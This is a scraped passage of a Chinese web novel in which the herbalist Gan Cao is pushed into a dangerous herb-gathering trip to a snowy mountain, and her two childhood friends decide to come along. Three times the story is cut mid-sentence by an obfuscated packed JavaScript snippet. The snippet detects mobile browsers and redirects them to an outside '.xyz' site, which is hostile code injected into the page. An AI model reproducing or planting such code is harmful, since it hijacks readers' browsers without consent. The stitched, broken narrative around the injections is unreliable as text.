“我家有全国各地的药材,你要是不想买,自己找几个当地的采药人去采,或者另外找些身手好的去采就行了,为什么还要亲自去找?” 榆安安眸光深沉地看着她,“你知道我母亲多少岁了吗?” 怎么话题又跳到这里来了?” “不到四十岁?” 甘草以前没认真关注和打听过这方面的事。 但既然榆安安这么正式的问了,她也就推算了一下。 榆安安今年二十好几了,具体多少岁她也没了解过。她母亲和她站在一起就跟两姐妹似的。 所以她母亲的年纪应该不会很大。 作为医生,不会十四五岁就生孩子。 这样一算,甘草算出榆安安母亲应该四十岁左右。 听她说出这个数字,榆安安看她的眸光变得悠长。 “我母亲说她已经快古稀了。” 古人将七十岁称之为古稀。甘草听完吃了一大惊。 这和她推测出来的年纪确实相差太大了。 甘草坐在椅子里仔细回忆了一下不久前才见过的榆安安母亲。 皮肤红润,眼角只有一两条几乎看不见的细纹,脸色红润健康,气色比许多二十出头的寻常年轻人还好。 如果不说这些表象,只说对方笔直强健的筋骨来看,也看不出像七十岁的老人。 如果榆安安,或者说她母亲没有撒谎,那么对方一定有不为人知、且功效显著的保养秘方。 想到这里,甘草脑海里忽然冒出一个想法,乌黑的眸子霎时点亮,就这么闪闪发亮地盯着对面面色郑重的榆安安。 “你是想说你母亲有个保养秘方,现在需要收集方子上的药材,所以找我一起去采药?” 榆安安见她无意识地倾身看着她,那晶亮的眼神仿佛看到骨头的小狗,脸庞侧到一边去。 “咳咳…你猜的没错,事情大概就是这样的。你先回去准备准备吧,会合地点我再另外通知你。记住,这件事保密,不能往外说。” “这个没问题,不过榆安安,我还是不明白为什么不能请其他人去采药?你看我,就是个大号拖油瓶,毛病也多,你带上我肯定影响队伍的行程。” “还有呀,就算你有必须带我的理由,可为什么我只能带两个人去?你告诉我,这次你总共打算带多少人去?” 榆安安沉吟半晌,在心里整理好了要说的话。 “我现在能告诉你的是,我母亲手里的方子很珍贵,上面的都是稀世罕见的药材,寻常人找不到,也认不出,所以需要我们亲自去找。” “其次,这次队伍总共十五人,其他人我都已经找好了,只能让你再带两个。” “除了你、我,队伍里还有一个人,负责装备和保护工作,他叫赵商,等出发到了地方,你会见到他。” “这次他和你都能分三成东西,剩下的是我的。” “以上是我能现在告诉你的,其他的等我们到地方后我再告诉你。” 甘草一脸懵的听完,还没整理这些信息,就被榆安安端茶送客了。 她还有许多问题没了解清楚,现在她脑子一片空。 总觉得这次回来,榆安安挖了一个坑等着她跳,而她在此之前对此一无所知。 “不是,你先等我捋捋,我还有好多事情没搞清楚呢…” “不需要你搞清楚,你跟着我走就是。” 甘草无言地看着要把她往门外推得榆安安,被迫往门口走去,好不容易找回自己的理智,榆安安已经把她推到门口了。 “等一下,等一下!”甘草死活不肯出去,回头看着想把她推出去的榆安安,“你先告诉我要去采药的是什么样的地方,你说天气冷,这才十月,哪个地方这么冷?” “你不说我就不去。” 榆安安不顾她反抗,强行拉开门把她推了出去,“我不是在找你商量,而是通知你,你去也得去,不去也得去。” 甘草被推到门外,见门要关上了,忙死命顶住,她瞪着榆安安:“什么叫我去也得去,不去也得去?榆安安,你把话说清楚。” 外面经过的医生护士都好奇地看着她们,被门口的两个保镖用视线驱赶了才走远了一点,不过他们还是没散去,就远远地看着她们俩一个关门,一个推门。 “话就说到这里,为了你自己,为了你家的生意,还有你家的伙计,回去好好准备。” 说着榆安安一把推开她的手,“砰——”一声把门关上了。甘草没站稳,差点把鼻子撞没了。 她气得用力踢了一下门。 “我不去,我就不去!你能拿我怎么样!” 她发泄完,才注意到门口两边发出低低的笑声,甘草丢脸地瞪过去。 两个保镖一个装作若无其事,一个格外恶劣的继续当着她的面笑。 “笑笑笑,早晚牙齿笑掉。” 和她不对付的阿七故意咧开嘴嘲笑她,“被我们大小姐赶出来了吧。活该。” 甘草一肚子憋屈,可理智还在,想着今天自己没带保镖,不能和阿七硬碰硬。 转身准备走,榆安安办公室的门又打开了,甘草脸上一喜,正要和榆安安说清楚,怀里就被塞了一盆花。 “既然你说它看不开出家了,那你就带回去好好念经。” “对了,回去后送我一盆富贵竹来。不知谁在我背后搞鬼,说我喜欢牡丹花,害病人误会弄来这么一盆俗气的花来送给我。我喜欢富贵竹,寓意节节高升,更适合我。” 甘草被迫抱着那盆“比丘尼”盆栽,看着不许她进去的榆安安,皮笑肉不笑,“行啊,回去我就送你一屋子富贵竹,让你早日登顶回家,好看我被方家斗败,回家种红薯的样子。” 去年甘草做了一件错事,摊上了人命案子,由此连累孙家生意不断被对头方家蚕食,眼下已经损失了许多生意伙伴。 榆安安让她考虑孙家的生意和伙计,应该就是用这件事逼迫她答应她的安排,去不知名的地方找药。 榆安安没搭理她的阴阳怪气,“砰—”一声又把门关上了。 瞪了一眼被关上的门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“她准备回去了,这次她怎么没带保镖?…我和她说过去药神山的事了,但她还没同意…那就好。” 说完,榆安安挂了电话,站在办公室窗前看着下面。 只是本应该很快出现在楼下的孙甘草却不知如何,迟迟没出现。 反而是楼下的人似乎都在往大厅聚集。 榆安安又拿起电话,打给自己助手。 “吴安,你去一楼大厅看看,出了什么事情。” . 一楼大厅,甘草遇到了点麻烦事,碰到了以前治疗过的小病人,她和病人的家属有些误会。自从去年她做错了一件事,闹大以后,许多人都觉得她治病是别有用心。 而这个小病人的家属也认为她拿病人做实验,用心险恶,不配为医。 每次看见她,就要讥讽几句。 甘草这一年被骂习惯了,学会了不去在意这些流言蜚语,可她的小病人却很维护她 穿着粉丝蓬蓬裙的小女孩像护犊子的小老鹰一样,张开小手将甘草护在她小小的身体之后。 “妈妈,不许你这么说甘草姐姐。” “以前甘草姐姐给妞妞治病时,你不是最喜欢甘草姐姐吗?” “你说甘草姐姐人好,有爱心,治病不要钱,药费也减免了好多,还给妞妞治好了许多。” “以前妞妞只能吃半碗饭,你说妞妞像小猫儿一样,让大家都不省心,后来妞妞被甘草姐姐治好了很多,一顿可以吃两碗饭了。” “妈妈还说过要感谢甘草姐姐,怎么又对甘草姐姐不好了?妞妞不喜欢妈妈说话不算数,妈妈不好。” 小姑娘穿着蓬蓬裙,才几指长的头发扎成两个小揪揪,说话却跟小大人一样,吐字清晰,逻辑清楚,被妞妞妈妈大嗓门吸引来围观的不知情群众倒是对可爱的妞妞赞叹起来。 “好聪明的小女娃。看她那说话清楚的样子,长大了肯定是个读书厉害的。” “以后考上清北,定有大出息。” “那个小姑娘是谁,瞧着有点眼熟。” “她你都不知道?孙家的小姐,以前在这儿当药师,后来听说治死了人,被禁止行医了。” “是吗?我说怎么这么眼熟,去年我还在她那儿抓过药,隔了一年,差点忘记了。” “唉,可惜了。听说这女娃厉害的很,从来不会抓错药,也不会出半点岔子,要是药里有一丁点不好,她都能看出来。我还听说啊,她考上了最好的中京医药大学,就是学中医,想以后当医生。可惜去年好像不懂事,给一个快死的人治病,一下没治好,人家家属就找她算帐了。后来学校就让她不许再私下行医。” “要我说啊,这治病哪能都能治好,医院不经常有治不好死了的,这小姑娘就是倒霉,遇到了这样的事。好好的前程,都断了。太可惜了。” “不是那样呢。”又有一个人悄声说了,“听说是她拿人坐实验,给病人下了毒,才把人毒死的。报纸上都写了,说她没有医德,把人治死了,心眼格外坏。” 甘草不想引起更多的人看好戏,带着因为忤逆自己母亲而被母亲说哭了小可怜病人妞妞去洗手间洗漱。 等她再带着孩子出去,吴安就下来了。 4. 第 4 章 “榆主任听说你们之间有误会,让我带你们去她办公室说清楚一下。” 甘草本来还有许多话想问榆安安,可因为小病人妞妞的事,她又犹豫了。 这时候吴安牵着孩子的手领着妞妞妈妈和他擦肩而过,低声说了一句:“别去。” 甘草转头去看时,他已经带着母女俩走远了。 看着吴安文质彬彬但保持距离的背影,甘草想了想,还是没跟上去:“吴安,我就不上去了,你带着她们上去说清楚吧。” 说完,朝小病人挥挥手,笑着离开了。 . “喂——爸。” 出了医院,甘草给孙老头打电话,打了两个才打通。 “哎!棒槌啊——怎么忽然给我打电话?刚刚和一个朋友聊天,没接到你前面的电话。” 棒槌是她的小名,甘草一直不太喜欢这个小名,但这会儿也不是说这个的时候。 “我就是想问你,我们家生意现在怎么样了?” “我们家生意?挺好的啊。” “哦,那你知道榆安安找我寻药的事吗?” “寻药?哦,我想起来了,前两天,她说要组织一个什么滇云采药集训,让医院的人放松的同时多接触一些大自然的生药草。我觉得是好事,就和她签了这个合约。” 滇云?甘草眉眼一动,走过马路去远一点的地方打车。 难怪榆安安要找她了。 滇云那边是孙家和当地人的地盘,暂时还没有其他外地的药材商插足。 榆安安找她应该是看重了孙家在那边的势力。 “合约里具体写了什么?” “没写什么啊。就是写了她会提供活动所需的一切东西,据说打算在那边一个月左右呢。其中开销大概几十万,如果违约,需要十倍赔偿。” 这么高的赔偿金额?便是挥钱如粪土的甘草听了这个费用也皱了一下眉头。 几十万的装备如果只是算一个人的话,说明去的地方很不一般。 滇云那边属于高原地区,少数民族多,靠近边境。 应该不至于那么胆大擅自去别的国家。所以肯定还是境内。 那么滇云值得人大费周章,耗费这么多装备去的地方… 甘草眼眸一凝。 是药神山。 没错了,只有药神山这一个解释了。 甘草站在马路边上一边看有没有空的士过来,一边思索。 药神山是一片大雪山,那里有丰富的药材资源。 因为山势险峻陡峭,又常年下雪,积雪都有小腿肚子那么高。 再加上狼群,常有的雪崩,每年当地百姓能采到的珍贵药材极少。 这些药材大多数被当地人收购,而小部分落在了孙家手里。 除非一些必要的交易,最好的那批药材都是不外卖的。 榆安安找她合作去采药,应该是问过孙老头孙家有没有那些药材,否则直接买就是了。 药神山这个地方不好去,不久前报纸上才说刚失踪了一批专业登山人士,消失的无影无踪,连一片衣角都没找回来。 据当地人说,那些人触怒了山神,才会降下惩罚,将那些人都留在了雪山里。 这样怪力乱神的话当然不值得听信,只是药神山称之为禁地,寻常人上不去,上去了也容易出意外。 “我知道了,爸,你先把合约拿出来,等我回去了再说。” “你回湖湘了?” “嗯。” “啊?可我…可我现在不在家啊。我在外面采购药材,巡视药铺呢。” 甘草看到前面开来一辆空车,拦车坐了上去。正要问话,忽然听到电话里传来“噗嗤噗嗤——”类似高压锅水开了的喷气声。紧接着又听到一阵手忙脚乱,最后拖鞋落地的声音,甘草眸色渐深。 在外面采购药材还穿拖鞋,还有高压锅炖吃的? 日子比家里还舒服吧。 “行,我知道了。”甘草装作不知道孙老头露馅了,若无其事道:“那你先忙着吧,我先去外面吃个饭,吃完再给你打电话说。” “嗳!” 稳住了孙老头后,甘草看向前面的司机。 “麻烦开快点。” 前面的司机应该很年轻,戴着鸭舌帽,整张脸藏在帽檐下,甘草打电话时就一直从后视镜里偷看她。 甘草抬眼看过去,正好从后视镜里撞见他偷看的视线。 对方很慌张地移开视线,低下头去开车。 甘草看他这开车的样子都怕他撞车了。 好在一路平安的到了家。 “你是榆安安派来送我的?”下车时,甘草问司机。 “啊?”司机连忙摇头,死死低着头不敢抬头,“小姐,我要继续接客去了。” 甘草见他不肯说,放他走了。 从进医院开始,她就发现他这辆车停在医院门口的路边上。出医院时,看到他还是停在那里。 等她走过马路,去前面打车,对方开着车绕了一圈,从前面开向她。 甘草不知道他究竟是谁的人,有什么目的,但既然对方没有恶意,她也懒得再追问。 “汪汪——汪汪——” 车子绝尘而去,甘草转身走向自己家的小洋楼。两条大黄狗忽然从门内跑出来迎接她。 “小姐,你回来了!” 跟在狗后面,管家林伯拿着花洒出来,看到甘草回来,十分惊喜。 甘草笑着摸摸两条尾巴摇成旋风的大黄狗,“晚上给你们加餐,先自己去玩吧。” 但两条狗还是围着她转,甘草郁郁的心情都好了许多。 “林伯,我爸呢?” 林伯看甘草的眼神很慈祥,说到孙老头就一脸嫌弃。 “你爸刚匆匆忙忙出去了,跑太快,差点摔了一跟头。我就说他一天毛毛躁躁的,不知道在干什么。” 甘草听到孙老头跑了,气笑了,挽着林伯的手往里走。 “我家生意现在怎么样?” “生意?家里生意挺好的啊,听说前几天,孙老头还和榆家签了一个大单,三年的药材供应合同呢。小姐你就别担心家里的事了,有你爸呢。” 甘草笑了笑,若无其事的应好,心里却开始磨牙。 孙老头这是把她卖了啊。 恐怕他早知道榆安安找她做什么,所以躲着不敢见她了。 林伯也没注意到她的情绪,盯着她手里抱着的盆栽看。 “小姐…这盆牡丹怎么看着有点眼熟?是不是前几天五百块卖给那叫什么来着的小子?” 甘草回过神,看向自己抱着的盆栽,没忍住,笑了一下。 “是啊。榆安安不喜欢,把花都扯了去泡花瓣澡,剩下的让我带回来继续种,林伯,你帮我挖一盆富贵竹,让人送去医院给榆安安吧,她要一盆富贵竹装点办公室。” “哎!我待会儿就去挖几株好看的种进花盆里。正好家里还有几个好看的花盆,送人很合适。” . 一晚上过去后,甘草想明白了。 第一,榆安安要找的东西应该很不一般,或许真的就是什么稀世药材。 第二,榆安安用生意合作,和这次的寻药行动策反了孙老头,让孙老头逼她去药神山。 所以她才说她去也得去,不去也得去。 事已至此,无论她去不去,她都要需要早做准备。 首先,她跟吴安打了个电话,确定榆安安这次要去的地方就是药神山,所以才会让她别去。 其次,她给发小粽子打电话,让他帮忙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15766061|174598||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弄三套去雪山的装备。 怕粽子知道她要去茫茫雪山找药,还特意找了个借口。 “没错,就是我的几个朋友要去雪山玩,你帮忙准备一些装备吧。钱不是问题,她挺有钱的,放心,肯定不会少了你的。只有一个要求,东西一定要好。” “这么大方,棒槌,你不会是要帮人把多余的钱都补上吧?”粽子很了解她地问,“就算如此,我也不会给你便宜的。到了小爷口袋的票子,就没有往外推的道理。” 甘草笑了笑。 粽子就是这样的人,爱财,爱色,还爱玩,爱弄装备,爱古代那些奇奇怪怪的机关暗道。 可惜现在社会都不太用得上那些东西了,所以粽子也就过过眼瘾,没地方去学。 粽子有弄装备的门路,国外的,军方的,都能弄来,弄不来的,他还能自己做。这也是为什么甘草第一个找他。 “我那朋友也挺有钱的,你只要把东西都弄最好的,钱我去找她谈。” “棒槌啊,你不愧是我的知心朋友,就知道小爷喜欢什么。”粽子在电话那头哈哈大笑,“对了,你要不要也去雪山玩一下?小爷带你去国外玩,听说那边的雪山可美了,小爷带你去看。” 去国外… 甘草站在自家的阳台上,下面是两条撒欢冲着她叫她下去玩的狗,再往外看,是她家的保镖。 自从她回来,家里内外的保卫就加强了。 甘草自嘲一笑,对电话里的粽子说:“那你先准备着,等明年,我们选个天气好的时候,一起去玩。” “行啊,小爷肯定带你去好好玩一场。” 在甘草看不到的榆氏医阁门外,人来人往中,一个瘦高白皙的帅哥手里握着一个大哥大,抬头看向榆氏医阁四楼的一个房间,那里的窗边站着一个白大褂医生。 粽子冷冷地和窗边那个美人医生遥遥对视,那双玩世不恭的丹凤眼迸射出寒光。 而窗户边的那个美人医生也刚放下电话,居高临下盯着粽子看。 两人视线相撞,迸射出激烈的火花。 榆安安! 粽子在心里狠狠骂了一句,掉头就走。边走边快速拨出一个又一个电话。 与此同时,躲在总管事阿奇家里吃饭的孙老头也刚放下电话,掷地有声说道:“小李不能减去。” 阿奇闻言豪不在意,瞥了一眼他:“您要在我这儿躲到什么时候?小姐要是再打电话问,我就不帮您遮掩了。” 说着,继续给自己还不足一岁的孩子喂奶。 孙老头没说话,阿奇见他闷不吭声,也没再追问。 事实上他也不清楚孙老头究竟要做什么,有些事他也被瞒着。 “哪两个人跟小姐去,就让小姐自己做主呗。小五还没回来,据说是在旅游?小李发了火,去找方家的麻烦了。不过他肯定能赶回来。” “粽子…”说到这个家伙,阿奇就叹气,“那家伙不是我们可以掌控的,你就等着他把事情闹得个天翻地覆吧。” 孙老头若有所思,过了一会儿,阿奇见他出去打电话了。 . 甘草解决完装备的事,发了一会儿呆,开始给小五打电话,歉意地表示他假期可能要提前结束了。 谁知小五在西安那边也遇到了点意外。 十分钟前,他遇到了几个扒手,小五反应快,发现及时,就和人打起来了。 现在人被抓住了,但他的钱包却不知所终。 钱包里有他的所有证明,现在东西丢了,他还需要和扒手一起去派出所录口供。不知道什么时候能回来。 最信任的保镖回不来,甘草只好给滇云那边孙家药铺的管事儿子小秦哥打电话。 让他安排两个稳妥的当地人给她当保镖,弄好这些事,时间就到了周五。 5. 第 5 章 临行这一天,孙老头不知什么心思,竟然回来了。 一大早做了一桌子好吃的,清蒸鱼、白灼虾、炒青菜、一锅小米粥和一大锅人参鸡汤。 小李哥端了碗筷出来。 看见她顿时笑了。 “甘草,快坐下吃饭。今天孙伯做了一大桌你爱吃的。” 甘草看见他柔和的笑容有些出神。 前几日她给小李哥打电话说聚一聚,小李哥却说自己在外地,只能周五早上赶回来,没想到他真的赶回来了。 而另外一个发小粽子,说什么也回不来。 看着回来陪她吃最后一顿饭,还送她去和榆安安会和的小李哥,甘草忽然就觉得粽子那家伙十分可恶。 竟然不来见她最后一面。 亏他以前老说他们是异父异母的亲兄妹,小李哥还只是义兄,不能比。 现在他自己就被小李哥比下去了。 “小李哥。” “嗯?” “我决定了,粽子以后和我是义兄妹,你是亲的。我以后的遗产由你继承。” 小李哥放好碗筷就听到这句话,差点被最后一副碗筷砸地上。 “呵呵…粽子瞎说的,你别听他的。” 甘草发脾气,把两个行李包丢到楼下。小李哥好脾气地把两个摔下楼的包捡起来放沙发上。 甘草看他轻轻松松就提起来两个在她看来不轻的行李包,手臂肌肉鼓起,眼神渐渐流露出羡慕。 她要是有这体格,有这力量,还怕去雪山吗? “别站哪儿了,快坐下准备吃饭。” 小李哥绅士地将椅子拉开,请她入座,甘草踩着软绵绵的拖鞋,在他拉开的椅子上坐下。 “我爸干什么去了?” “他另外装了一些吃的放车里,说你中午的时候吃。” “哦。” 甘草又没话了。 她没跟小李哥说她去滇云究竟做什么,小李哥恐怕还以为她只是去滇云采药集训,因此脸色很松快,还主动接过送她和榆安安会和的差事。 甘草没有告诉他真相让他跟着一起担心。 在她一两岁时,他们就认识了,十多年过去,彼此就跟亲兄妹一样,她不希望他夹在她和她爸之间为难。 等孙老头放完她中午吃的回来,三人开始吃早饭。 这一顿饭甘草用的很沉默,孙老头几次活跃气氛都没能让她开怀,最后只能一直让他们多吃一点。 吃完,孙老头送他们出门。甘草坐上小李哥的副驾驶座。 “爸。” 孙老头看凑到副驾驶座的车窗前,“哎!” 甘草看着他还算红润的脸庞,想着孙老头应该不至于为了什么调理的方子或者那三年药材合作合约就把她往死路上推。 怎么说,她也是他唯一的女儿。人都是有繁衍传承的想法的,脱离不了生物的本性。孙老头应该不会想让她去送死。 甘草等到现在,就是想等一个答案。 “爸,我想知道为什么。”她认真地问道。 “甘草。” 孙老头很少叫她大名,这次他要说的话一定很重要,甘草认真听着。 “我知道你有很多疑问。但老爸也一样有很多疑问。这次的行动或许能让你找到答案,我们也能找到答案。” “只有你能找到答案。所以甘草,这次的行动才必须你去。” 甘草眨眨眼睛,看着窗外的孙老头。 十多年了,孙老头老了一些,背脊也不如以前那么有力挺拔。他好像一座大山,变成了一个山包。甘草想过以后他会离开自己,却没想过是自己先离开。 这些年,孙老头似乎有很多心思,原本戒掉的烟锅子又不知什么时候插回了他腰间,时不时就拿出来闻一闻,捻一捻。 她知道他有什么难办的。却不知道究竟是什么。 难道从那时起,就有了今天这趟行动吗? 甘草不知道,也不确定。她只知道自己似乎身处在一个巨大的谜团里,而答案,在这趟行动之后。 或许只有自己平安回来,才能知道一切秘密。 “我知道了,爸,我走了。” “哎。”孙老头眨眨眼,把眼泪眨回去,甘草看得心疼,说道:“你照顾好自己和林伯,有什么事等我回来再说,我知道你不是故意的。但有些事,我也不知道怎么面对。孙老头,不管怎么样,我们过去十几年的感情是真的,我很感激你养我这么大,对我这么好。” “如果我还能回来,我就给你们养老,要是不能,你们就自己好好过,把我忘了吧。” 孙老头眼泪一下就出来了,老泪纵横地望着甘草,“你别这么说,甘草,你不会有事的。你一定不会有事的。我会在家等着你回来,你一定要回来。” 甘草不知道怎么回答,只是用力点了点头,摸了一把眼泪,转头看向前面。 车窗缓缓上升,将孙老头隔绝在了外面。 小李哥和林伯告完别,上了车,看到林伯,甘草又放下车窗,叮嘱了几句。 车子启动,缓缓开了出去,两个老人追了几步,林伯还不知道发生了什么,只觉得事情似乎有什么不同寻常的,看到孙老头眼泪巴巴的,哼了一声。 “没出息的,不就是出去玩一圈就回来了。滇云那边是我们的地盘,让朱家帮忙多照看一点,能出什么事。” 孙老头没跟着往回走,低低应了一声,看着车子开远,才往回走。林伯见不得他这样,自孙家发家,敢说孙老头的就没几个了,林伯是其中之一。 “现在知道后悔了?也不知道你急什么,小姐今年才十九岁,虽然去年出了那样的事,但肯定不是小姐的错。” “这几年她医术越来越厉害,只要熬过这两年,以后肯定有大出息,到时候肯定能带领孙家走是那个一个更高的台阶,说不定中医界都能为之抖上一抖。” “偏你着急,非要和榆家签署什么三年合同,把小姐送到滇云去采药学习。” “小姐都两年不去山上了,出了什么事你就后悔去吧。” “看见你这张老脸就烦,我去京市住几天,小姐那四合院住着舒服,我去帮她看院子去。” 孙老头没说话,只是长长叹气。 就是因为甘草十九岁了。 很多事情拖不了了啊。 而且… 唉—— 一堆的事情都堆在一起了。 不知结果会如何呢。 很多事情也没处说去。孙老头愁苦地不行,打算过几天也去外面走走,否则肯定烦死。 . 车子上了大马路,甘草看着外面的窗景。 一棵又一棵高大的香樟树往后飞速移动,在这十月金秋的时节,道路两旁的翠绿树景反而像焕发新生的春季。 “小李哥。” “嗯?”在驾驶座上开车的小李哥看向她,可甘草却没扭头,依旧看着窗外。 “你知道吗,香樟有祈福的意义,传说它可以活上千年,是一种古老的长寿树。所以很多地方的香樟树都是名胜古迹。” “甘草,你想说什么?” 甘草摇头,“没什么,就是看见它忽然想到了。” “小李哥。” “嗯?” “你说人也有长命百岁吗?” 小李哥握着方向盘的手一紧,强笑了一下。 “长命百岁,一百岁的老人也不少吧。” 甘草看着窗外笑了笑,“如果有一天,我发现这世上有像人一样的怪物,你说是好事,还是坏事?” “甘草。”小李哥骇得差点踩了刹车,“你究竟想说什么?” 甘草想说什么呢? 她有一个秘密,只有孙老头知道一点。 那就是她身怀人参肉,比见过的所有药材还补。 古代传说有灵怪成精,化为人形。而她呢?是人,还是人参精? “你就打算抱着一肚子的憋屈去那破地方冒险?” 甘草正发着呆,忽然听到熟悉的吊儿郎当的声音,一下收回心神,从后视镜看到后座躺着的一个熟悉的人影。 长手长脚缩成一团,身上盖着一件皮夹克。白皙的娃娃脸睡眼惺忪,一头半长的头发也睡成了鸡窝。 “粽子——” 甘草一开口,声音就沙哑的厉害。 明明看到孙老头她不想哭,看到小李哥也觉得还好,可是看到忽然出现在自己眼前的粽子,她觉得委屈,眼眶一下红了。 “看你这包子样,想哭就哭吧,小爷允许你大哭一场。”粽子看着她红了一圈的眼眶大气说。 甘草又被逗笑了。 粽子就是有这样的魔力,能让她随时都变得开心起来。 但今天,他只起到了一点作用。笑过后还是想哭。 甘草忍住了。 “你怎么在这儿?” 粽子掀开外套坐起来,揉了一把脸,又理顺了自己的鸡窝头。过了一会儿,他看着欲哭不哭的甘草,忽然站起来,用力揉了一下她头顶。 “傻不傻啊你。孙老头让你去哪里你就去哪里吗?你自己没长心眼吗?以前小爷天天喊你打倒帝国主义,打倒封建残余,你倒好,被一个反派分子欺负得一声不吭。” 甘草心里就跟打翻了无味瓶似的,哭不出来,也笑不出来,难受的一张脸成了苦瓜。 随便扒拉了两下自己被弄乱的头发,瞥着粽子。 “谁是帝国主义,封建残余?” “那甭管这么多,小爷问你你,你是不是和小爷一条心?” 甘草看着后视镜里忽然认真起来的他,心脏突突跳。 不想哭了,也不想笑,就是紧张的咽口水。 “你想做什么?” 小李哥目光从后视镜里警告粽子。粽子不在意他的脸色,用橡皮筋绑好头发。 他留了一头半长不短的头发,柔顺飘逸,很有些文艺气息。可在场的两个人早已看透他。 他就是个毫无文艺细胞的跳脱大男孩。爱东奔西跑,吃喝玩乐,跟个孩子似的。 粽子对着后视镜里的两人一笑。 “小爷我要来一场大冒险,从孙老头眼皮子底下逃脱。” 甘草和小李哥:“…” 小李哥用目光逼迫他,“你别乱来。” “小爷我就乱来了怎么地?”粽子睨着小李哥,“你以为你能保护棒槌?大雪山那地方,一个雪崩,一个狼群,就能让人尸骨无存,你难道要眼睁睁看着棒槌去送死?” “我…” “你拦着我,要是出了事,你以后会后悔一辈子。” 小李哥沉默下来,粽子得意地朝甘草一挑眉,“跟小爷走吧。” 甘草看着他得意的样子,忽然也笑了起来。 好像只要有粽子在,她的心情就会慢慢放松下来,粽子就是有这样的能力,自信,张扬,让她觉得万事都不会难倒他们。 但这次不一样,甘草看向窗外。 “你有没有觉得今天这路上格外安静,车子格外少?一辆中大型车都没有。只有自行车和摩托车。” 粽子看向外面看不见一辆四个轮子车的大马路,无所谓地耸耸肩:“小爷知道啊,前几天就去你家看过,保卫加强了。小爷猜你这次出行,前后都有车子保卫吧。” “你既然知道还想帮我逃跑?” “那又怎么样?你放心,小爷我都安排好了。”粽子指着前面说,“过了这条马路,往右转是视野盲区。” “小爷安排了一个环卫工推着一个大垃圾桶路过,里面有个和你长相相似的女生,到时候你神不知鬼不觉地替换出来她。” “等你躲在垃圾桶后,那个环卫工会把你推到花园另一侧,那里有小爷安排的车子,你上了车直接离开。” 甘草正要说话,粽子知道她想什么似的,叭叭叭把自己的计划都说了。 “你放心,我知道孙老头肯定会派人追。所以小爷还安排了几辆相同的车干扰他们的视线。等你离开了这个地方,咱们直接出国。到时候孙老头本事再大,他也不可能追到国外去。” 甘草对着粽子竖起大拇指,不忍地说道:“你没有发现今天早上缺了点什么东西吗?” “什么?” 粽子仔细回忆了早上的事,早上孙老头给他送吃的,他不待见他,所以没跟他们一起吃早饭,自己在车内吃的,吃完还通了一会儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“你就是太天真,真以为这次的事情那么简单?” 粽子后背靠在了座位里,精明的丹凤眼看着有些出神。 “前些日子我就知道孙老头和榆家达成了某种协议。后来榆安安找上了我,小爷就问了一下,果然你也是队伍里的一员。” “你那天给我打电话要装备,小爷就知道你可能答应了。” “榆安安答应你带两个人去,那黑心肝的把小爷我也算在你们孙家的人中。” “棒槌,这次榆家可能没安好心,我们得小心一点。” 甘草看着粽子,“你为什么要去?” 粽子看向外面,“小爷为什么不能去?你还不知道吧,她要找的是什么古方上的神秘不老药,据说还有地图呢。” 甘草吃惊地睁大眼睛。 原本她也猜到榆安安要找的东西不一般,却没想到是这么的不一般。 只是她听着,怎么那么像天方夜谭呢。 粽子没看到她的脸色,还在往下说:“她既然说有好东西,小爷也去见识见识。” “本来嘛,知道你也去,小爷就想着我们先逃,以后小爷再搞她的东西。但现在没跑成,那小爷就不客气了。我们执行D计划,打不过就加入,我们一起去药神山分一杯羹。” “榆安安答应小爷,什么都不用出,只要出个人,就能分一成东西,小爷心动啊。” 甘草才不相信他是为了什么东西。 肯定都是为了她才跟去的。 粽子家和榆家是死对头,他去多危险啊。 “粽子,你回去吧,我去去就回来了。回来以后再跟你去国外旅游,你不是总让我去国外玩吗?我们就去国外。” 粽子朝着甘草露出一口大白牙。 “晚了,这次不仅我去,小李哥也会去,你真当他就是送送你啊,棒槌,你太天真了。” 转移火力的意思太明显,但甘草还是上当了,听到小李哥去,她就没空想其他的了。 吃饭的时候,他还装什么都不知道,说自己只是送她去和榆安安会和,原来他什么都知道! “小李哥!!!” 尖利的清脆嗓门直冲云霄,路上经过的人还以为发生了什么事,一个个惊疑不定地停不下来,看向车内。 粽子挑眉搅动风云,故意转移甘草的火力,顺便看好戏。小李哥握紧方向盘,不敢看甘草,他试图解释:“甘草,其实我一直想告诉你,但粽子不让,他非说要给你一个惊喜…” “喂!”后座的粽子听了就不高兴地坐直了,瞪着前面的小李哥,“这关小爷什么事?你自己不敢说,别赖在小爷头上。” “你们两个给我下车!我自己开车去跟榆安安会和!” 甘草真是被他们两个搞得快疯了,在车内吼两人。 原本她以为自己一个人去冒险,现在粽子和小李哥竟然都陪着她去。 这可是三条人命啊。 还都是她最看重的两个人。 粽子和小李哥哔哔哔吵不停,互相推卸责任,甘草烦得拍车门。 “停车!姑奶奶不去了!” “哎!那太好了!我们出国吧。” “甘草,现在已经上船了,没那么容易停下。” 几个人在车里吵了起来。伴随粽子的火上浇油,甘草吼声一声比一声大。粽子哈哈大笑,小李哥一边吼他闭嘴,一边哄甘草。 三个人乱七八糟的声音传出去老远,远远跟在他们车子后面的一辆普通小轿车上,几天前才开的士接过甘草的保镖大牛听到尖叫声,拿出电话和孙老头打电话。 他后面两条狗兴奋地往前扑,狼狗一样的膘健的身躯,把其他人都挤到角落里去了。 这两条狗是甘草和孙老头养大的,平日里也就林伯勉强能管住。现在两条狗闻到小主人的气息,还有它们喜欢的人参鸡肉味,那是死活要跳车往前跑。 它们俩平日里吃好喝好,还有锻炼,体力和劲儿都比成年人强。车上其他人简直被它们俩快弄疯了。 